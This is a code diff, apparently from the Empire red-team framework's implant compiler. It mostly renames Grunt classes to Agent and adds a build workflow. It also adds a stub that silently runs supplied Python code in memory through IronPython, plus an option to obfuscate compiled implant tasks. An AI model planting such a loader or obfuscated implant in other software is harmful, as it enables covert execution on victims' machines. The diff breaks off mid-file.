diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..9fd3324 --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,48 @@ +name: Build and Publish Self-Contained Assemblies + +on: + workflow_dispatch: + inputs: + branch: + description: 'Branch to build and release' + required: true + default: 'main' + release_version: + description: 'Release version (e.g., v1.0.0)' + required: true + +jobs: + build: + runs-on: ubuntu-latest + + strategy: + matrix: + runtime: + - linux-x64 + - linux-x86 + - linux-arm64 + + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + ref: ${{ github.event.inputs.branch }} + + - name: Set up .NET + uses: actions/setup-dotnet@v4.0.1 + with: + dotnet-version: '6.x' + + - name: Restore dependencies + run: dotnet restore + + - name: Build and publish self-contained assembly + run: dotnet publish -c Release -r ${{ matrix.runtime }} --self-contained -p:PublishSingleFile=true -o ./publish/${{ matrix.runtime }} + + - name: Create and upload release + uses: softprops/action-gh-release@v2.0.8 + with: + files: ./publish/${{ matrix.runtime }}/**/* + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + if: ${{ matrix.runtime == 'linux-x64' }} diff --git a/EmpireCompiler/Class.cs b/EmpireCompiler/Class.cs deleted file mode 100644 index 3da0097..0000000 --- a/EmpireCompiler/Class.cs +++ /dev/null @@ -1,164 +0,0 @@ -using EmpireCompiler.Core; -using System; -using System.IO; -using System.Linq; -using System.Net; -using System.Net.Sockets; -using System.Text; -using System.Threading.Tasks; - -namespace EmpireCompiler -{ - public class Program - { - static async Task Main() - { - var empireServer = new EmpireService(); - var server = new EmpireServerHandler(empireServer); - Console.WriteLine("Starting EmpireServer..."); - await server.StartAsync(); - } - } - - public class EmpireServerHandler - { - private readonly EmpireService _service; - private const string LocalAddress = "127.0.0.1"; - private const int Port = 2012; - - public EmpireServerHandler(EmpireService service) - { - _service = service; - } - - public async Task StartAsync() - { - _ = DbInitializer.Initialize(_service); - var endpoint = new IPEndPoint(IPAddress.Parse(LocalAddress), Port); - var listener = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); - - listener.Bind(endpoint); - listener.Listen(100); - - Console.WriteLine("Listening on {0}:{1}", LocalAddress, Port); - await AcceptConnectionsAsync(listener); - } - - private async Task AcceptConnectionsAsync(Socket listener) - { - while (true) - { - Console.WriteLine("Ready to accept a connection..."); - var socket = await Task.Factory.FromAsync( - listener.BeginAccept(null, null), - listener.EndAccept); - - Console.WriteLine("Connection accepted from {0}", socket.RemoteEndPoint.ToString()); - if (!await HandleConnectionAsync(socket)) - break; - } - } - - private async Task HandleConnectionAsync(Socket socket) - { - using var memoryStream = new MemoryStream(); - var buffer = new byte[4096]; - Console.WriteLine("Starting data reception..."); - - int bytesReceived; - do - { - bytesReceived = await Task.Factory.FromAsync( - socket.BeginReceive(buffer, 0, buffer.Length, SocketFlags.None, null, null), - socket.EndReceive); - - if (bytesReceived > 0) - { - memoryStream.Write(buffer, 0, bytesReceived); - Console.WriteLine("Received {0} bytes", bytesReceived); - } - - if (bytesReceived < buffer.Length) - { - break; - } - } - while (bytesReceived > 0); - - if (memoryStream.Length == 0) - { - Console.WriteLine("No data received. Connection might have been closed by client."); - return false; - } - - memoryStream.Seek(0, SeekOrigin.Begin); - string[] message = DecodeMessage(memoryStream.ToArray()); - Console.WriteLine("Received complete message: {0}", string.Join(",", message)); - - if (message[0] == "close") - { - Console.WriteLine("Received close command. Closing connection."); - return false; - } - - await ProcessMessageAsync(socket, message); - return true; - } - - - private static string[] DecodeMessage(byte[] data) - { - var messageData = Encoding.ASCII.GetString(data); - return messageData.Split(','); - } - - private async Task ProcessMessageAsync(Socket socket, string[] message) - { - try - { - Console.WriteLine("Processing message..."); - var tasks = _service.GetEmpire().gruntTasks; - var taskName = DecodeBase64(message[0]); - var confuse = DecodeBase64(message[1]) == "true"; - var yaml = DecodeBase64(message[2]); - - _ = DbInitializer.IngestTask(_service, yaml); - var task = tasks.First(t => t.Name == taskName); - task.Name = GenerateRandomizedName(task.Name); - task.Confuse = confuse; - task.Compile(); - - Console.WriteLine("Task compiled successfully as {0}", task.Name); - await SendResponseAsync(socket, $"FileName:{task.Name}"); - } - catch (System.Exception ex) - { - await SendResponseAsync(socket, "Compile failed"); - Console.WriteLine("Error during message processing: {0}", ex.ToString()); - } - } - - private static async Task SendResponseAsync(Socket socket, string message) - { - var responseBytes = Encoding.ASCII.GetBytes(message); - await Task.Factory.FromAsync( - socket.BeginSend(responseBytes, 0, responseBytes.Length, SocketFlags.None, null, null), - socket.EndSend); - Console.WriteLine("Response sent to client: {0}", message); - } - - private static string GenerateRandomizedName(string baseName) - { - var random = new Random(); - var randomName = new string(Enumerable.Repeat("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", 5) - .Select(s => s[random.Next(s.Length)]).ToArray()); - return $"{baseName}_{randomName}"; - } - - private static string DecodeBase64(string encodedString) - { - var bytes = Convert.FromBase64String(encodedString); - return Encoding.UTF8.GetString(bytes); - } - } -} diff --git a/EmpireCompiler/Core/Compiler.cs b/EmpireCompiler/Core/Compiler.cs index a239aca..29ea29b 100644 --- a/EmpireCompiler/Core/Compiler.cs +++ b/EmpireCompiler/Core/Compiler.cs @@ -16,7 +16,7 @@ public static class Compiler { public class CompilationRequest { - public EmpireCompiler.Models.Grunts.ImplantLanguage Language { get; set; } = Models.Grunts.ImplantLanguage.CSharp; + public EmpireCompiler.Models.Agents.ImplantLanguage Language { get; set; } = Models.Agents.ImplantLanguage.CSharp; public Platform Platform { get; set; } = Platform.X64; } @@ -86,7 +86,7 @@ private class SourceSyntaxTree public static byte[] Compile(CompilationRequest request) { - if (request.Language == Models.Grunts.ImplantLanguage.CSharp) + if (request.Language == Models.Agents.ImplantLanguage.CSharp) { return CompileCSharp((CsharpCompilationRequest)request); } diff --git a/EmpireCompiler/Core/Context.cs b/EmpireCompiler/Core/Context.cs index e219673..80d7aa3 100644 --- a/EmpireCompiler/Core/Context.cs +++ b/EmpireCompiler/Core/Context.cs @@ -2,7 +2,7 @@ // Project: Empire (https://github.com/BC-SECURITY/Empire) // License: GNU GPLv3 -using EmpireCompiler.Models.Grunts; +using EmpireCompiler.Models.Agents; using System; using System.Collections.Generic; @@ -20,7 +20,7 @@ public class EmpireContext public List gruntTaskOptions { get; set; } - public List gruntTasks { get; set; } + public List gruntTasks { get; set; } private int nextTaskId; public EmpireContext() @@ -31,7 +31,7 @@ public EmpireContext() referenceSourceLibraries = new List(); referenceSourceLibraryReferenceAssemblies = new List(); gruntTaskOptions = new List(); - gruntTasks = new List(); + gruntTasks = new List(); nextTaskId = 0; } @@ -43,7 +43,7 @@ public void Add(Object entity) gList.Add(entity); } - public void Add(GruntTask entity) + public void Add(AgentTask entity) { gruntTasks.Add(entity); } diff --git a/EmpireCompiler/Core/DbInitializer.cs b/EmpireCompiler/Core/DbInitializer.cs index ce1821c..4c162c6 100644 --- a/EmpireCompiler/Core/DbInitializer.cs +++ b/EmpireCompiler/Core/DbInitializer.cs @@ -5,7 +5,7 @@ // License: GNU GPLv3 using EmpireCompiler.Core.Empire; -using EmpireCompiler.Models.Grunts; +using EmpireCompiler.Models.Agents; using System; using System.Collections.Generic; using System.IO; @@ -28,8 +28,8 @@ public async static Task IngestTask(ICovenantService2 service, String recievedTa IDeserializer deserializer = new DeserializerBuilder().Build(); List serialized = deserializer.Deserialize>(recievedTask); - List tasks = serialized.Select(S => new GruntTask().FromSerializedGruntTask(S)).ToList(); - foreach (GruntTask task in tasks) + List tasks = serialized.Select(S => new AgentTask().FromSerializedGruntTask(S)).ToList(); + foreach (AgentTask task in tasks) { await service.CreateGruntTask(task); } @@ -276,8 +276,8 @@ await service.CreateEntities( string yaml = File.ReadAllText(file); List serialized = deserializer.Deserialize>(yaml); - List tasks = serialized.Select(S => new GruntTask().FromSerializedGruntTask(S)).ToList(); - foreach (GruntTask task in tasks) + List tasks = serialized.Select(S => new AgentTask().FromSerializedGruntTask(S)).ToList(); + foreach (AgentTask task in tasks) { await service.CreateGruntTask(task); diff --git a/EmpireCompiler/Core/Service.cs b/EmpireCompiler/Core/Service.cs index 9eb8063..d26313a 100644 --- a/EmpireCompiler/Core/Service.cs +++ b/EmpireCompiler/Core/Service.cs @@ -1,6 +1,6 @@ using EmpireCompiler.Core.Empire; using EmpireCompiler.Models; -using EmpireCompiler.Models.Grunts; +using EmpireCompiler.Models.Agents; using Microsoft.CodeAnalysis; using Microsoft.Extensions.Configuration; using System; @@ -57,15 +57,15 @@ public interface IGruntTaskOptionService public interface IGruntTaskService : IReferenceAssemblyService, IEmbeddedResourceService, IReferenceSourceLibraryService, IGruntTaskOptionService { - Task> GetGruntTasks(); - Task> GetGruntTasksForGrunt(int gruntId); - Task GetGruntTask(int id); - Task GetGruntTaskByName(string name, Common.DotNetVersion version = Common.DotNetVersion.Net35); - Task CreateGruntTask(GruntTask task); - Task> CreateGruntTasks(params GruntTask[] tasks); - Task EditGruntTask(GruntTask task); + Task> GetGruntTasks(); + Task> GetGruntTasksForGrunt(int gruntId); + Task GetGruntTask(int id); + Task GetGruntTaskByName(string name, Common.DotNetVersion version = Common.DotNetVersion.Net35); + Task CreateGruntTask(AgentTask task); + Task> CreateGruntTasks(params AgentTask[] tasks); + Task EditGruntTask(AgentTask task); Task DeleteGruntTask(int taskId); - Task ParseParametersIntoTask(GruntTask task, List parameters); + Task ParseParametersIntoTask(AgentTask task, List parameters); } public interface ICovenantService2 : IGruntTaskService @@ -99,7 +99,7 @@ public async Task> CreateEntities(params T[] entities) return entities; } - public async Task ParseParametersIntoTask(GruntTask task, List parameters) + public async Task ParseParametersIntoTask(AgentTask task, List parameters) { return null; } @@ -143,9 +143,9 @@ public async Task GetReferenceSourceLibraryByName(string } //Grunt Task Methods - public async Task GetGruntTask(int id) + public async Task GetGruntTask(int id) { - GruntTask task = _context.gruntTasks.FirstOrDefault(tsk => tsk.Id == id); + AgentTask task = _context.gruntTasks.FirstOrDefault(tsk => tsk.Id == id); if (task == null) { Console.WriteLine($"NotFound - GruntTask with id: {id}"); @@ -153,7 +153,7 @@ public async Task GetGruntTask(int id) return task; } - public async Task CreateGruntTask(GruntTask task) + public async Task CreateGruntTask(AgentTask task) { //Need to consider restructuring this method and the context class //The way it is currently done is built around interacting with a sqllite db. @@ -179,10 +179,10 @@ public async Task CreateGruntTask(GruntTask task) foreach (EmbeddedResource resource in resources) { await this.CreateEntities( - new GruntTaskEmbeddedResource + new AgentTaskEmbeddedResource { EmbeddedResource = await this.GetEmbeddedResourceByName(resource.Name), - GruntTask = task + AgentTask = task } ); task.Add(resource); @@ -191,10 +191,10 @@ await this.CreateEntities( { //This is all Database schema based so doesn't work without the databasse await this.CreateEntities( - new GruntTaskReferenceAssembly + new AgentTaskReferenceAssembly { ReferenceAssembly = await this.GetReferenceAssemblyByName(assembly.Name, assembly.DotNetVersion), - GruntTask = task + AgentTask = task } ); //instead do this @@ -209,7 +209,7 @@ await this.CreateEntities( return await this.GetGruntTask(task.Id); } - public async Task> GetGruntTasks() + public async Task> GetGruntTasks() { return _context.gruntTasks; } @@ -292,18 +292,18 @@ public async Task> CreateGruntTaskOptions(params TaskOpt #region GruntTask Actions - public async Task> GetGruntTasksForGrunt(int gruntId) + public async Task> GetGruntTasksForGrunt(int gruntId) { return _context.gruntTasks .AsEnumerable() .Where(T => T.CompatibleDotNetVersions.Contains(Common.DotNetVersion.Net35)); } - public async Task GetGruntTaskByName(string name, Common.DotNetVersion version = Common.DotNetVersion.Net35) + public async Task GetGruntTaskByName(string name, Common.DotNetVersion version = Common.DotNetVersion.Net35) { string lower = name.ToLower(); - GruntTask task = _context.gruntTasks + AgentTask task = _context.gruntTasks .Where(T => T.Name.ToLower() == lower) .AsEnumerable() .Where(T => T.CompatibleDotNetVersions.Contains(version)) @@ -324,17 +324,17 @@ public async Task GetGruntTaskByName(string name, Common.DotNetVersio return await Task.FromResult(task); } - public async Task> CreateGruntTasks(params GruntTask[] tasks) + public async Task> CreateGruntTasks(params AgentTask[] tasks) { - List createdTasks = new List(); - foreach (GruntTask t in tasks) + List createdTasks = new List(); + foreach (AgentTask t in tasks) { createdTasks.Add(await this.CreateGruntTask(t)); } return createdTasks; } - public async Task EditGruntTask(GruntTask task) + public async Task EditGruntTask(AgentTask task) { return null; } diff --git a/EmpireCompiler/Core/Utilities.cs b/EmpireCompiler/Core/Utilities.cs index a5d5729..63e4e35 100644 --- a/EmpireCompiler/Core/Utilities.cs +++ b/EmpireCompiler/Core/Utilities.cs @@ -38,11 +38,11 @@ public static string GetSanitizedFilename(string filename) return filename; } - public static string GetExtensionForLanguage(Models.Grunts.ImplantLanguage language) + public static string GetExtensionForLanguage(Models.Agents.ImplantLanguage language) { switch (language) { - case Models.Grunts.ImplantLanguage.CSharp: + case Models.Agents.ImplantLanguage.CSharp: return ".cs"; default: return ".cs"; diff --git a/EmpireCompiler/Data/EmbeddedResources/launcher.txt b/EmpireCompiler/Data/EmbeddedResources/launcher.txt new file mode 100644 index 0000000..e69de29 diff --git a/EmpireCompiler/Data/ReferenceSourceLibraries/CSharpPy/CSharpPy.cs b/EmpireCompiler/Data/ReferenceSourceLibraries/CSharpPy/CSharpPy.cs index 0643e01..b12d193 100644 --- a/EmpireCompiler/Data/ReferenceSourceLibraries/CSharpPy/CSharpPy.cs +++ b/EmpireCompiler/Data/ReferenceSourceLibraries/CSharpPy/CSharpPy.cs @@ -1,3599 +1,45 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Empire/empire/server/csharp/Covenant/Data/ReferenceSourceLibraries/CSharpPy/CSharpPy.cs at main · BC-SECURITY/Empire - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- - - -
- Skip to content - - - - - - - - - - - - - - - - - - - - -
-
- - - - - - - - - - - - - - - - -
- -
- - - - - - - - -
- - - - - - -
- - - - - - - - - - -
- - - - - - - - - - - - - - - - - -
- -
- - - - BC-SECURITY  /   - Empire  /   - -
-
- - - -
- - -
-
- Clear Command Palette -
-
- - - -
-
- Tip: - Type # to search pull requests -
-
- Type ? for help and tips -
-
-
- -
-
- Tip: - Type # to search issues -
-
- Type ? for help and tips -
-
-
- -
-
- Tip: - Type # to search discussions -
-
- Type ? for help and tips -
-
-
- -
-
- Tip: - Type ! to search projects -
-
- Type ? for help and tips -
-
-
- -
-
- Tip: - Type @ to search teams -
-
- Type ? for help and tips -
-
-
- -
-
- Tip: - Type @ to search people and organizations -
-
- Type ? for help and tips -
-
-
- -
-
- Tip: - Type > to activate command mode -
-
- Type ? for help and tips -
-
-
- -
-
- Tip: - Go to your accessibility settings to change your keyboard shortcuts -
-
- Type ? for help and tips -
-
-
- -
-
- Tip: - Type author:@me to search your content -
-
- Type ? for help and tips -
-
-
- -
-
- Tip: - Type is:pr to filter to pull requests -
-
- Type ? for help and tips -
-
-
- -
-
- Tip: - Type is:issue to filter to issues -
-
- Type ? for help and tips -
-
-
- -
-
- Tip: - Type is:project to filter to projects -
-
- Type ? for help and tips -
-
-
- -
-
- Tip: - Type is:open to filter to open content -
-
- Type ? for help and tips -
-
-
- -
- -
-
- We’ve encountered an error and some results aren't available at this time. Type a new search or try again later. -
-
- - No results matched your search - - - - - - - - - - -
- - - - - Search for issues and pull requests - - # - - - - Search for issues, pull requests, discussions, and projects - - # - - - - Search for organizations, repositories, and users - - @ - - - - Search for projects - - ! - - - - Search for files - - / - - - - Activate command mode - - > - - - - Search your issues, pull requests, and discussions - - # author:@me - - - - Search your issues, pull requests, and discussions - - # author:@me - - - - Filter to pull requests - - # is:pr - - - - Filter to issues - - # is:issue - - - - Filter to discussions - - # is:discussion - - - - Filter to projects - - # is:project - - - - Filter to open issues, pull requests, and discussions - - # is:open - - - - - - - - - - - - - - - - -
-
-
- -
- - - - - - - - - - -
- - -
-
-
- - - - - - - - - - - - - - - - - - -
- Open in github.dev - Open in a new github.dev tab - Open in codespace - - - - - - - - - - - - - - - - -

Files

t

Latest commit

 

History

History
50 lines (45 loc) · 1.51 KB

File metadata and controls

50 lines (45 loc) · 1.51 KB

Symbols

Find definitions and references for functions and other symbols in this file by clicking a symbol below or in the code.
r
  • mod
    CSharpPy
    • class
      Empire
      • func
        Agent
-
- - - - -
- -
- -
-
- -
- -
-

Footer

- - - - -
-
- - - - - © 2024 GitHub, Inc. - -
- - -
-
- - - - - - - - - - - - - - - - - - - - -
- -
-
- - - +using System; +using System.IO.Compression; +using System.IO; +using System.Text; +using IronPython.Hosting; +using IronPython.Modules; +using IronPython.Runtime; +using Microsoft.Scripting; +using Microsoft.Scripting.Hosting; +using System.Collections; +using System.Reflection; +using System.Linq; + +namespace CSharpPy +{ + class Empire + { + public static void Agent(string PyCode) + { + try + { + // setup ironpython engine + ScriptEngine engine = Python.CreateEngine(); + + // Load stdlib to memory + Assembly asm = Assembly.GetExecutingAssembly(); + dynamic sysScope = engine.GetSysModule(); + var importer = new ResourceMetaPathImporter(asm, "Lib.zip"); + + // Clear search paths (if they exist) and add our library + sysScope.path.clear(); + sysScope.meta_path.append(importer); + sysScope.path.append(importer); + + //execute ironpython code + var script = engine.CreateScriptSourceFromString(PyCode, SourceCodeKind.Statements); + script.Execute(); + } + catch + { + Environment.Exit(0); + } + } + } +} \ No newline at end of file diff --git a/EmpireCompiler/Data/Tasks/CSharp/Compiled/net45/.gitignore b/EmpireCompiler/Data/Tasks/CSharp/Compiled/net45/.gitignore new file mode 100644 index 0000000..d6b7ef3 --- /dev/null +++ b/EmpireCompiler/Data/Tasks/CSharp/Compiled/net45/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/EmpireCompiler/EmpireCompiler.csproj b/EmpireCompiler/EmpireCompiler.csproj index 6b694ce..284e0d0 100644 --- a/EmpireCompiler/EmpireCompiler.csproj +++ b/EmpireCompiler/EmpireCompiler.csproj @@ -82,6 +82,7 @@ + diff --git a/EmpireCompiler/Models/Module/GruntTask.cs b/EmpireCompiler/Models/Module/AgentTask.cs similarity index 96% rename from EmpireCompiler/Models/Module/GruntTask.cs rename to EmpireCompiler/Models/Module/AgentTask.cs index 8fb857b..30d15bd 100644 --- a/EmpireCompiler/Models/Module/GruntTask.cs +++ b/EmpireCompiler/Models/Module/AgentTask.cs @@ -9,17 +9,18 @@ using System.Linq; using YamlDotNet.Serialization; -namespace EmpireCompiler.Models.Grunts +namespace EmpireCompiler.Models.Agents { public enum ImplantLanguage { CSharp } - public class GruntTask : ISerializable + public class AgentTask : ISerializable { [Key, DatabaseGenerated(DatabaseGeneratedOption.Identity)] public int Id { get; set; } + public string OutputPath { get; set; } public TaskAuthor Author { get; set; } = new TaskAuthor(); @@ -36,9 +37,9 @@ public class GruntTask : ISerializable public bool Confuse { get; set; } = false; public GruntTaskingType TaskingType { get; set; } = GruntTaskingType.Assembly; - private List GruntTaskReferenceSourceLibraries { get; set; } = new List(); - private List GruntTaskReferenceAssemblies { get; set; } = new List(); - private List GruntTaskEmbeddedResources { get; set; } = new List(); + private List GruntTaskReferenceSourceLibraries { get; set; } = new List(); + private List GruntTaskReferenceAssemblies { get; set; } = new List(); + private List GruntTaskEmbeddedResources { get; set; } = new List(); [NotMapped] public List ReferenceSourceLibraries => GruntTaskReferenceSourceLibraries.Select(e => e.ReferenceSourceLibrary).ToList(); [NotMapped] @@ -53,10 +54,10 @@ public class GruntTask : ISerializable public void Add(ReferenceSourceLibrary library) { - GruntTaskReferenceSourceLibraries.Add(new GruntTaskReferenceSourceLibrary + GruntTaskReferenceSourceLibraries.Add(new AgentTaskReferenceSourceLibrary { GruntTaskId = this.Id, - GruntTask = this, + AgentTask = this, ReferenceSourceLibraryId = library.Id, ReferenceSourceLibrary = library }); @@ -72,10 +73,10 @@ public void Remove(ReferenceSourceLibrary library) public void Add(ReferenceAssembly assembly) { - GruntTaskReferenceAssemblies.Add(new GruntTaskReferenceAssembly + GruntTaskReferenceAssemblies.Add(new AgentTaskReferenceAssembly { GruntTaskId = this.Id, - GruntTask = this, + AgentTask = this, ReferenceAssemblyId = assembly.Id, ReferenceAssembly = assembly }); @@ -91,10 +92,10 @@ public void Remove(ReferenceAssembly assembly) public void Add(EmbeddedResource resource) { - GruntTaskEmbeddedResources.Add(new GruntTaskEmbeddedResource + GruntTaskEmbeddedResources.Add(new AgentTaskEmbeddedResource { GruntTaskId = this.Id, - GruntTask = this, + AgentTask = this, EmbeddedResourceId = resource.Id, EmbeddedResource = resource }); @@ -130,7 +131,7 @@ internal SerializedGruntTask ToSerializedGruntTask() }; } - internal GruntTask FromSerializedGruntTask(SerializedGruntTask task) + internal AgentTask FromSerializedGruntTask(SerializedGruntTask task) { this.Name = task.Name; this.Author = new TaskAuthor().FromSerializedGruntTaskAuthor(task.Author); @@ -159,7 +160,7 @@ public string ToYaml() return serializer.Serialize(new List { this.ToSerializedGruntTask() }); } - public GruntTask FromYaml(string yaml) + public AgentTask FromYaml(string yaml) { IDeserializer deserializer = new DeserializerBuilder().Build(); SerializedGruntTask task = deserializer.Deserialize(yaml); @@ -171,7 +172,7 @@ public string ToJson() return JsonConvert.SerializeObject(this.ToSerializedGruntTask()); } - public GruntTask FromJson(string json) + public AgentTask FromJson(string json) { SerializedGruntTask task = JsonConvert.DeserializeObject(json); return this.FromSerializedGruntTask(task); diff --git a/EmpireCompiler/Models/Module/GruntTasking.cs b/EmpireCompiler/Models/Module/AgentTasking.cs similarity index 93% rename from EmpireCompiler/Models/Module/GruntTasking.cs rename to EmpireCompiler/Models/Module/AgentTasking.cs index 2ad2315..ad7f89b 100644 --- a/EmpireCompiler/Models/Module/GruntTasking.cs +++ b/EmpireCompiler/Models/Module/AgentTasking.cs @@ -10,7 +10,7 @@ using System.ComponentModel.DataAnnotations.Schema; -namespace EmpireCompiler.Models.Grunts +namespace EmpireCompiler.Models.Agents { public class CommandOutput { @@ -39,7 +39,7 @@ public class GruntCommand public int? GruntTaskingId { get; set; } = null; - public GruntTasking GruntTasking { get; set; } + public AgentTasking AgentTasking { get; set; } public int GruntId { get; set; } @@ -68,7 +68,7 @@ public enum GruntTaskingType TaskKill } - public class GruntTasking + public class AgentTasking { [Key, DatabaseGenerated(DatabaseGeneratedOption.Identity)] public int Id { get; set; } @@ -79,7 +79,7 @@ public class GruntTasking [Required] public int GruntTaskId { get; set; } - public GruntTask GruntTask { get; set; } + public AgentTask AgentTask { get; set; } public GruntTaskingType Type { get; set; } = GruntTaskingType.Assembly; public List Parameters { get; set; } = new List(); diff --git a/EmpireCompiler/Models/Module/TaskAuthor.cs b/EmpireCompiler/Models/Module/TaskAuthor.cs index 5e766fa..3ce39c4 100644 --- a/EmpireCompiler/Models/Module/TaskAuthor.cs +++ b/EmpireCompiler/Models/Module/TaskAuthor.cs @@ -5,7 +5,7 @@ using YamlDotNet.Serialization; -namespace EmpireCompiler.Models.Grunts +namespace EmpireCompiler.Models.Agents { public class TaskAuthor : ISerializable { @@ -15,7 +15,7 @@ public class TaskAuthor : ISerializable public string Handle { get; set; } = ""; public string Link { get; set; } = ""; - public List GruntTasks { get; set; } + public List GruntTasks { get; set; } internal SerializedGruntTaskAuthor ToSerializedGruntTaskAuthor() { diff --git a/EmpireCompiler/Models/Module/TaskComponents.cs b/EmpireCompiler/Models/Module/TaskComponents.cs index cd09d2f..e053342 100644 --- a/EmpireCompiler/Models/Module/TaskComponents.cs +++ b/EmpireCompiler/Models/Module/TaskComponents.cs @@ -6,7 +6,7 @@ using System.Linq; using YamlDotNet.Serialization; -namespace EmpireCompiler.Models.Grunts +namespace EmpireCompiler.Models.Agents { public class ReferenceAssembly : ISerializable { @@ -17,12 +17,12 @@ public class ReferenceAssembly : ISerializable public Common.DotNetVersion DotNetVersion { get; set; } private List ReferenceSourceLibraryReferenceAssemblies { get; set; } = new List(); - private List GruntTaskReferenceAssemblies { get; set; } = new List(); + private List GruntTaskReferenceAssemblies { get; set; } = new List(); [NotMapped, JsonIgnore, System.Text.Json.Serialization.JsonIgnore] public List ReferenceSourceLibraries => ReferenceSourceLibraryReferenceAssemblies.Select(e => e.ReferenceSourceLibrary).ToList(); [NotMapped, JsonIgnore, System.Text.Json.Serialization.JsonIgnore] - public List GruntTasks => GruntTaskReferenceAssemblies.Select(e => e.GruntTask).ToList(); + public List GruntTasks => GruntTaskReferenceAssemblies.Select(e => e.AgentTask).ToList(); internal SerializedReferenceAssembly ToSerializedReferenceAssembly() { @@ -74,12 +74,12 @@ public class EmbeddedResource : ISerializable public string Location { get; set; } private List ReferenceSourceLibraryEmbeddedResources { get; set; } = new List(); - private List GruntTaskEmbeddedResources { get; set; } = new List(); + private List GruntTaskEmbeddedResources { get; set; } = new List(); [NotMapped, JsonIgnore, System.Text.Json.Serialization.JsonIgnore] public List ReferenceSourceLibraries => ReferenceSourceLibraryEmbeddedResources.Select(e => e.ReferenceSourceLibrary).ToList(); [NotMapped, JsonIgnore, System.Text.Json.Serialization.JsonIgnore] - public List GruntTasks => GruntTaskEmbeddedResources.Select(e => e.GruntTask).ToList(); + public List GruntTasks => GruntTaskEmbeddedResources.Select(e => e.AgentTask).ToList(); internal SerializedEmbeddedResource ToSerializedEmbeddedResource() { @@ -133,7 +133,7 @@ public class ReferenceSourceLibrary : ISerializable private List ReferenceSourceLibraryReferenceAssemblies { get; set; } = new List(); private List ReferenceSourceLibraryEmbeddedResources { get; set; } = new List(); - private List GruntTaskReferenceSourceLibraries { get; set; } = new List(); + private List GruntTaskReferenceSourceLibraries { get; set; } = new List(); public void Add(ReferenceAssembly assembly) { @@ -178,7 +178,7 @@ public void Remove(EmbeddedResource resource) [NotMapped] public List EmbeddedResources => ReferenceSourceLibraryEmbeddedResources.Select(e => e.EmbeddedResource).ToList(); [NotMapped, JsonIgnore, System.Text.Json.Serialization.JsonIgnore] - public List GruntTasks => GruntTaskReferenceSourceLibraries.Select(e => e.GruntTask).ToList(); + public List GruntTasks => GruntTaskReferenceSourceLibraries.Select(e => e.AgentTask).ToList(); internal SerializedReferenceSourceLibrary ToSerializedReferenceSourceLibrary() { @@ -249,28 +249,28 @@ public class ReferenceSourceLibraryEmbeddedResource public EmbeddedResource EmbeddedResource { get; set; } } - public class GruntTaskReferenceSourceLibrary + public class AgentTaskReferenceSourceLibrary { public int GruntTaskId { get; set; } - public GruntTask GruntTask { get; set; } + public AgentTask AgentTask { get; set; } public int ReferenceSourceLibraryId { get; set; } public ReferenceSourceLibrary ReferenceSourceLibrary { get; set; } } - public class GruntTaskReferenceAssembly + public class AgentTaskReferenceAssembly { public int GruntTaskId { get; set; } - public GruntTask GruntTask { get; set; } + public AgentTask AgentTask { get; set; } public int ReferenceAssemblyId { get; set; } public ReferenceAssembly ReferenceAssembly { get; set; } } - public class GruntTaskEmbeddedResource + public class AgentTaskEmbeddedResource { public int GruntTaskId { get; set; } - public GruntTask GruntTask { get; set; } + public AgentTask AgentTask { get; set; } public int EmbeddedResourceId { get; set; } public EmbeddedResource EmbeddedResource { get; set; } diff --git a/EmpireCompiler/Models/Module/TaskOption.cs b/EmpireCompiler/Models/Module/TaskOption.cs index 5064652..9371628 100644 --- a/EmpireCompiler/Models/Module/TaskOption.cs +++ b/EmpireCompiler/Models/Module/TaskOption.cs @@ -4,7 +4,7 @@ using System.ComponentModel.DataAnnotations.Schema; using YamlDotNet.Serialization; -namespace EmpireCompiler.Models.Grunts +namespace EmpireCompiler.Models.Agents { public class TaskOption : ISerializable { @@ -21,7 +21,7 @@ public class TaskOption : ISerializable public int GruntTaskId { get; set; } [JsonIgnore, System.Text.Json.Serialization.JsonIgnore] - public GruntTask Task { get; set; } + public AgentTask Task { get; set; } internal SerializedGruntTaskOption ToSerializedGruntTaskOption() { diff --git a/EmpireCompiler/Program.cs b/EmpireCompiler/Program.cs new file mode 100644 index 0000000..fceceac --- /dev/null +++ b/EmpireCompiler/Program.cs @@ -0,0 +1,118 @@ +using EmpireCompiler.Core; +using EmpireCompiler.Utility; +using System; +using System.Linq; +using System.CommandLine; +using System.CommandLine.Invocation; +using System.Text; +using System.Threading.Tasks; + +namespace EmpireCompiler +{ + public class Program + { + static async Task Main(string[] args) + { + var taskOption = new Option( + "--task", + description: "The name of the task to execute"); + + var yamlOption = new Option( + "--yaml", + description: "The YAML string containing the task definition"); + + var confuseOption = new Option( + "--confuse", + getDefaultValue: () => false, + description: "Indicates whether to apply obfuscation"); + + var debugOption = new Option( + "--debug", + getDefaultValue: () => false, + description: "Run in debug mode"); + + var rootCommand = new RootCommand + { + taskOption, + yamlOption, + confuseOption, + debugOption + }; + + rootCommand.Description = "Empire Compiler"; + + rootCommand.SetHandler(async (InvocationContext context) => + { + var task = context.ParseResult.GetValueForOption(taskOption); + var yaml = context.ParseResult.GetValueForOption(yamlOption); + var confuse = context.ParseResult.GetValueForOption(confuseOption); + var debug = context.ParseResult.GetValueForOption(debugOption); + + // Set the debug flag in the DebugUtility + DebugUtility.IsDebugEnabled = debug; + + DebugUtility.DebugPrint("Debug mode enabled."); + DebugUtility.DebugPrint($"Task: {task}"); + DebugUtility.DebugPrint($"YAML: {yaml}"); + DebugUtility.DebugPrint($"Confuse: {confuse}"); + + try + { + if (string.IsNullOrEmpty(task) || string.IsNullOrEmpty(yaml)) + { + Console.WriteLine("Task name and YAML are required."); + return; + } + + var empireService = new EmpireService(); + _ = DbInitializer.Initialize(empireService); + + // Decode YAML and ingest the task + var decodedYaml = DecodeBase64(yaml); + DbInitializer.IngestTask(empireService, decodedYaml); + + // 